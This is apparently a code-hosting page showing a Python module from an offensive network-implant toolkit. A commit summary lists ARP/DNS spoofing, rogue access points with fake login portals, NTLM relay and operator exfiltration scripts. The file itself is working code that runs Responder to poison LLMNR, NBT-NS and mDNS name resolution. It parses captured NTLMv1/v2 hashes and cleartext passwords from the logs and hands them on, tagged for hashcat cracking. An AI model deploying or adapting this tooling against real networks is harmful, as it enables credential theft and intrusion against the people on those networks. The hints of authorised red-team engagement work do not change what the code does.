ba5143b560
Active modules (9 files in modules/active/): - bettercap_mgr: Central bettercap orchestrator with REST API health monitoring, event stream parsing, crash recovery with corrective gratuitous ARPs, caplet management, and process disguise - arp_spoof: Thin bettercap wrapper for ARP spoofing with OPSEC warnings - dns_poison: DNS poisoning with zone template loading support - dhcp_spoof: DHCPv6 spoofing via bettercap for rogue DNS injection - evil_twin: hostapd-based rogue AP with captive portal and dnsmasq, iptables redirect, credential capture via HTTP POST handler - ipv6_slaac: IPv6 SLAAC spoofing via bettercap + mitm6 WPAD abuse - responder_mgr: Responder subprocess manager with hash file monitoring, NTLMv1/v2 parsing, session log scanning, relay target coordination - mitmproxy_mgr: Transparent proxy with addon scripts, tier checking (OPi Zero 3+ only), iptables setup, credential/token extraction - ntlm_relay: ntlmrelayx wrapper with multi-protocol relay (SMB, LDAP, LDAPS, HTTP, MSSQL, ADCS), Responder exclusion coordination, SOCKS Templates (9 files): - 4 captive portals: corporate SSO, guest WiFi, Outlook/M365, VPN (self-contained HTML with inline CSS, realistic login forms) - 2 DNS zones: redirect-all and selective Jinja2 template - 2 hostapd configs: open AP and WPA2-PSK Jinja2 templates - 1 Responder.conf Jinja2 template with protocol toggles Operator scripts (6 files in scripts/operator/): - pull_data.sh: rsync structured data over WireGuard/Tailscale - extract_files.sh: tshark HTTP/SMB/FTP/TFTP file extraction - extract_print_jobs.sh: TCP/9100 print job reconstruction + PDF convert - extract_emails.sh: SMTP email extraction with attachment detection - crack_hashes.sh: Export creds to hashcat format, optional auto-crack - generate_report.py: SQLite-to-Markdown/HTML engagement report generator
432 lines
15 KiB
Python
432 lines
15 KiB
Python
#!/usr/bin/env python3
|
|
"""Responder Manager — LLMNR/NBT-NS/mDNS poisoning and hash capture.
|
|
|
|
Manages Responder as a supervised subprocess. Generates Responder.conf
|
|
from a Jinja2 template, monitors log output for captured NTLMv1/v2
|
|
hashes, and publishes CREDENTIAL_FOUND events. Coordinates with
|
|
ntlm_relay to exclude relay targets from Responder's SMB server.
|
|
|
|
Resources: ~30MB RAM, ~3% CPU
|
|
"""
|
|
|
|
import glob
|
|
import logging
|
|
import os
|
|
import re
|
|
import subprocess
|
|
import threading
|
|
import time
|
|
from pathlib import Path
|
|
from typing import Optional
|
|
|
|
from modules.base import BaseModule
|
|
|
|
logger = logging.getLogger("bb.active.responder_mgr")
|
|
|
|
# Regex for Responder hash log filenames
|
|
HASH_FILE_PATTERN = re.compile(
|
|
r"(HTTP|SMB|MSSQL|LDAP|FTP|POP|IMAP|SMTP)-NTLMv[12]-.*\.txt$"
|
|
)
|
|
|
|
# Regex for parsing NTLMv2 hash lines
|
|
NTLMV2_REGEX = re.compile(
|
|
r"^(?P<username>\S+?)::(?P<domain>\S+?):(?P<challenge>[0-9a-fA-F]+):"
|
|
r"(?P<response>[0-9a-fA-F]+):(?P<blob>[0-9a-fA-F]+)$"
|
|
)
|
|
|
|
NTLMV1_REGEX = re.compile(
|
|
r"^(?P<username>\S+?)::(?P<domain>\S+?):(?P<lm>[0-9a-fA-F]+):"
|
|
r"(?P<nt>[0-9a-fA-F]+):(?P<challenge>[0-9a-fA-F]+)$"
|
|
)
|
|
|
|
|
|
class ResponderManager(BaseModule):
|
|
"""Responder subprocess manager with hash capture monitoring.
|
|
|
|
Dependencies:
|
|
- Responder installed at /opt/tools/Responder
|
|
|
|
Configuration:
|
|
responder_path: Path to Responder directory
|
|
interface: Network interface
|
|
protocols: Dict of protocol toggles (LLMNR, NBT-NS, mDNS, etc.)
|
|
relay_targets: Set of IPs excluded from SMB auth (for ntlm_relay)
|
|
"""
|
|
|
|
name = "responder_mgr"
|
|
module_type = "active"
|
|
priority = 150
|
|
requires_root = True
|
|
|
|
HASH_POLL_INTERVAL = 10 # seconds
|
|
|
|
def __init__(self, bus, state, config, engine=None):
|
|
super().__init__(bus, state, config, engine)
|
|
self._proc: Optional[subprocess.Popen] = None
|
|
self._hash_thread: Optional[threading.Thread] = None
|
|
self._responder_path = config.get("responder_path", "/opt/tools/Responder")
|
|
self._iface = config.get("interface", "eth0")
|
|
self._log_dir = os.path.join(self._responder_path, "logs")
|
|
self._captured_hashes: list = []
|
|
self._hashes_lock = threading.Lock()
|
|
self._seen_hashes: set = set() # Dedup set
|
|
self._relay_targets: set = set() # IPs excluded from SMB for relay
|
|
self._protocols = {
|
|
"LLMNR": True,
|
|
"NBT-NS": True,
|
|
"mDNS": True,
|
|
"HTTP": True,
|
|
"SMB": True,
|
|
"WPAD": True,
|
|
"FTP": False,
|
|
"POP": False,
|
|
"IMAP": False,
|
|
"SMTP": False,
|
|
"LDAP": False,
|
|
}
|
|
self._template_dir = config.get(
|
|
"template_dir",
|
|
os.path.join(os.path.dirname(__file__), "..", "..", "templates", "responder"),
|
|
)
|
|
|
|
# ------------------------------------------------------------------
|
|
# BaseModule interface
|
|
# ------------------------------------------------------------------
|
|
|
|
def start(self) -> None:
|
|
if self._running:
|
|
return
|
|
|
|
if not os.path.isdir(self._responder_path):
|
|
logger.error("Responder not found at %s", self._responder_path)
|
|
return
|
|
|
|
self._running = True
|
|
self._pid = os.getpid()
|
|
self._start_time = time.time()
|
|
|
|
self.state.set_module_status(self.name, "running", pid=self._pid)
|
|
logger.info("ResponderManager started (ready to launch Responder)")
|
|
|
|
def stop(self) -> None:
|
|
if not self._running:
|
|
return
|
|
|
|
self.stop_responder()
|
|
self._running = False
|
|
self.state.set_module_status(self.name, "stopped")
|
|
logger.info("ResponderManager stopped")
|
|
|
|
def status(self) -> dict:
|
|
proc_alive = self._proc is not None and self._proc.poll() is None
|
|
return {
|
|
"running": self._running,
|
|
"pid": self._pid,
|
|
"uptime": time.time() - self._start_time if self._start_time else 0,
|
|
"responder_running": proc_alive,
|
|
"responder_pid": self._proc.pid if proc_alive else None,
|
|
"captured_hash_count": len(self._captured_hashes),
|
|
"interface": self._iface,
|
|
"relay_targets": list(self._relay_targets),
|
|
}
|
|
|
|
def configure(self, config: dict) -> None:
|
|
self.config.update(config)
|
|
if "interface" in config:
|
|
self._iface = config["interface"]
|
|
if "relay_targets" in config:
|
|
self._relay_targets = set(config["relay_targets"])
|
|
if "protocols" in config:
|
|
self._protocols.update(config["protocols"])
|
|
|
|
# ------------------------------------------------------------------
|
|
# Public API
|
|
# ------------------------------------------------------------------
|
|
|
|
def start_responder(self, protocols: dict = None) -> bool:
|
|
"""Start Responder with configured protocols.
|
|
|
|
Args:
|
|
protocols: Optional dict overriding default protocol toggles.
|
|
|
|
Returns:
|
|
True if Responder was started.
|
|
"""
|
|
if not self._running:
|
|
logger.error("ResponderManager not started")
|
|
return False
|
|
|
|
if self._proc and self._proc.poll() is None:
|
|
logger.warning("Responder already running (pid=%d)", self._proc.pid)
|
|
return True
|
|
|
|
if protocols:
|
|
self._protocols.update(protocols)
|
|
|
|
# Generate Responder.conf from template
|
|
self._write_responder_conf()
|
|
|
|
# Build command
|
|
responder_py = os.path.join(self._responder_path, "Responder.py")
|
|
if not os.path.isfile(responder_py):
|
|
logger.error("Responder.py not found at %s", responder_py)
|
|
return False
|
|
|
|
cmd = ["python3", responder_py, "-I", self._iface, "-v"]
|
|
|
|
# Add protocol flags based on what we want DISABLED
|
|
if not self._protocols.get("WPAD"):
|
|
cmd.append("-w") # -w disables WPAD in newer Responder versions
|
|
# Responder's flags are for disabling features, not enabling them
|
|
# The .conf file controls which services are On/Off
|
|
|
|
try:
|
|
self._proc = subprocess.Popen(
|
|
cmd,
|
|
stdout=subprocess.PIPE,
|
|
stderr=subprocess.PIPE,
|
|
cwd=self._responder_path,
|
|
)
|
|
time.sleep(2)
|
|
if self._proc.poll() is not None:
|
|
stderr = self._proc.stderr.read().decode(errors="replace")
|
|
logger.error("Responder failed to start: %s", stderr)
|
|
return False
|
|
|
|
# Start hash file monitoring thread
|
|
self._hash_thread = threading.Thread(
|
|
target=self._hash_monitor_loop, daemon=True, name="bb-responder-hashes"
|
|
)
|
|
self._hash_thread.start()
|
|
|
|
logger.info("Responder started (pid=%d, iface=%s)", self._proc.pid, self._iface)
|
|
return True
|
|
|
|
except Exception:
|
|
logger.exception("Failed to start Responder")
|
|
return False
|
|
|
|
def stop_responder(self) -> bool:
|
|
"""Stop the Responder subprocess.
|
|
|
|
Returns:
|
|
True if Responder was stopped.
|
|
"""
|
|
if self._proc and self._proc.poll() is None:
|
|
try:
|
|
self._proc.terminate()
|
|
self._proc.wait(timeout=5)
|
|
except subprocess.TimeoutExpired:
|
|
self._proc.kill()
|
|
try:
|
|
self._proc.wait(timeout=2)
|
|
except Exception:
|
|
pass
|
|
except Exception:
|
|
logger.exception("Failed to stop Responder")
|
|
return False
|
|
finally:
|
|
self._proc = None
|
|
|
|
logger.info("Responder stopped")
|
|
return True
|
|
|
|
def get_captured_hashes(self) -> list:
|
|
"""Return all captured hashes.
|
|
|
|
Returns:
|
|
List of dicts with hash details.
|
|
"""
|
|
with self._hashes_lock:
|
|
return list(self._captured_hashes)
|
|
|
|
def set_relay_targets(self, targets: set) -> None:
|
|
"""Set IPs that should be excluded from Responder's SMB server.
|
|
|
|
When coordinating with ntlm_relay, Responder should not respond
|
|
to targets that ntlmrelayx is relaying from.
|
|
|
|
Args:
|
|
targets: Set of IP addresses to exclude.
|
|
"""
|
|
self._relay_targets = set(targets)
|
|
# Regenerate config and restart if running
|
|
if self._proc and self._proc.poll() is None:
|
|
self._write_responder_conf()
|
|
logger.info("Updated relay exclusion targets: %s", targets)
|
|
|
|
# ------------------------------------------------------------------
|
|
# Responder.conf generation
|
|
# ------------------------------------------------------------------
|
|
|
|
def _write_responder_conf(self) -> None:
|
|
"""Generate Responder.conf from template or defaults."""
|
|
conf_path = os.path.join(self._responder_path, "Responder.conf")
|
|
|
|
# Try Jinja2 template first
|
|
template_path = os.path.join(self._template_dir, "Responder.conf.j2")
|
|
if os.path.isfile(template_path):
|
|
try:
|
|
from jinja2 import Template
|
|
with open(template_path, "r") as f:
|
|
tmpl = Template(f.read())
|
|
rendered = tmpl.render(
|
|
protocols=self._protocols,
|
|
relay_targets=self._relay_targets,
|
|
interface=self._iface,
|
|
)
|
|
with open(conf_path, "w") as f:
|
|
f.write(rendered)
|
|
return
|
|
except ImportError:
|
|
logger.warning("Jinja2 not available — using inline config")
|
|
except Exception:
|
|
logger.exception("Failed to render Responder.conf template")
|
|
|
|
# Fallback: write config directly
|
|
smb_on = "On" if self._protocols.get("SMB") else "Off"
|
|
http_on = "On" if self._protocols.get("HTTP") else "Off"
|
|
|
|
conf = (
|
|
"[Responder Core]\n\n"
|
|
"; Servers to start\n"
|
|
f"SQL = {'On' if self._protocols.get('SQL') else 'Off'}\n"
|
|
f"SMB = {smb_on}\n"
|
|
f"RDP = Off\n"
|
|
f"Kerberos = Off\n"
|
|
f"FTP = {'On' if self._protocols.get('FTP') else 'Off'}\n"
|
|
f"POP = {'On' if self._protocols.get('POP') else 'Off'}\n"
|
|
f"SMTP = {'On' if self._protocols.get('SMTP') else 'Off'}\n"
|
|
f"IMAP = {'On' if self._protocols.get('IMAP') else 'Off'}\n"
|
|
f"HTTP = {http_on}\n"
|
|
f"HTTPS = {http_on}\n"
|
|
f"DNS = Off\n"
|
|
f"LDAP = {'On' if self._protocols.get('LDAP') else 'Off'}\n"
|
|
f"DCERPC = Off\n"
|
|
f"WinRM = Off\n"
|
|
f"SNMP = Off\n"
|
|
f"MQTT = Off\n"
|
|
"\n"
|
|
"; Custom challenge\n"
|
|
"Challenge = Random\n"
|
|
"\n"
|
|
"; Set to On for downgrading to NTLMv1\n"
|
|
"DontRespondToNames =\n"
|
|
"\n"
|
|
)
|
|
|
|
with open(conf_path, "w") as f:
|
|
f.write(conf)
|
|
|
|
# ------------------------------------------------------------------
|
|
# Hash capture monitoring
|
|
# ------------------------------------------------------------------
|
|
|
|
def _hash_monitor_loop(self) -> None:
|
|
"""Monitor Responder log directory for new hash files."""
|
|
while self._running and self._proc and self._proc.poll() is None:
|
|
time.sleep(self.HASH_POLL_INTERVAL)
|
|
try:
|
|
self._scan_hash_files()
|
|
self._scan_session_log()
|
|
except Exception:
|
|
logger.exception("Hash monitor error")
|
|
|
|
def _scan_hash_files(self) -> None:
|
|
"""Scan Responder logs/ for NTLMv1/v2 hash files."""
|
|
if not os.path.isdir(self._log_dir):
|
|
return
|
|
|
|
for filepath in glob.glob(os.path.join(self._log_dir, "*-NTLMv*.txt")):
|
|
try:
|
|
with open(filepath, "r") as f:
|
|
for line in f:
|
|
line = line.strip()
|
|
if not line or line in self._seen_hashes:
|
|
continue
|
|
self._seen_hashes.add(line)
|
|
self._process_hash_line(line, filepath)
|
|
except Exception:
|
|
pass
|
|
|
|
def _scan_session_log(self) -> None:
|
|
"""Scan Responder-Session.log for cleartext credentials."""
|
|
session_log = os.path.join(self._log_dir, "Responder-Session.log")
|
|
if not os.path.isfile(session_log):
|
|
return
|
|
|
|
try:
|
|
with open(session_log, "r") as f:
|
|
for line in f:
|
|
line = line.strip()
|
|
if not line or line in self._seen_hashes:
|
|
continue
|
|
# Look for cleartext credential lines
|
|
if "Cleartext" in line or "Password" in line:
|
|
self._seen_hashes.add(line)
|
|
self._process_cleartext_line(line)
|
|
except Exception:
|
|
pass
|
|
|
|
def _process_hash_line(self, line: str, source_file: str) -> None:
|
|
"""Parse an NTLM hash line and emit CREDENTIAL_FOUND."""
|
|
# Determine hash type from filename
|
|
hash_type = "ntlmv2"
|
|
hashcat_mode = 5600
|
|
if "NTLMv1" in source_file:
|
|
hash_type = "ntlmv1"
|
|
hashcat_mode = 5500
|
|
|
|
# Parse username and domain
|
|
match = NTLMV2_REGEX.match(line)
|
|
if not match:
|
|
match = NTLMV1_REGEX.match(line)
|
|
if match:
|
|
username = match.group("username")
|
|
domain = match.group("domain")
|
|
else:
|
|
username = line.split("::")[0] if "::" in line else "unknown"
|
|
domain = ""
|
|
|
|
hash_entry = {
|
|
"timestamp": time.time(),
|
|
"username": username,
|
|
"domain": domain,
|
|
"hash_type": hash_type,
|
|
"hashcat_mode": hashcat_mode,
|
|
"hash_value": line,
|
|
"source_file": source_file,
|
|
}
|
|
|
|
with self._hashes_lock:
|
|
self._captured_hashes.append(hash_entry)
|
|
|
|
self.bus.emit(
|
|
"CREDENTIAL_FOUND",
|
|
{
|
|
"source_module": self.name,
|
|
"source_ip": "",
|
|
"target_service": "responder",
|
|
"username": username,
|
|
"domain": domain,
|
|
"credential_type": hash_type,
|
|
"credential_value": line,
|
|
"hashcat_mode": hashcat_mode,
|
|
},
|
|
source_module=self.name,
|
|
)
|
|
logger.info("Hash captured: %s\\%s (%s)", domain, username, hash_type)
|
|
|
|
def _process_cleartext_line(self, line: str) -> None:
|
|
"""Process a cleartext credential line from Responder session log."""
|
|
self.bus.emit(
|
|
"CREDENTIAL_FOUND",
|
|
{
|
|
"source_module": self.name,
|
|
"target_service": "responder_cleartext",
|
|
"credential_type": "cleartext",
|
|
"credential_value": line,
|
|
},
|
|
source_module=self.name,
|
|
)
|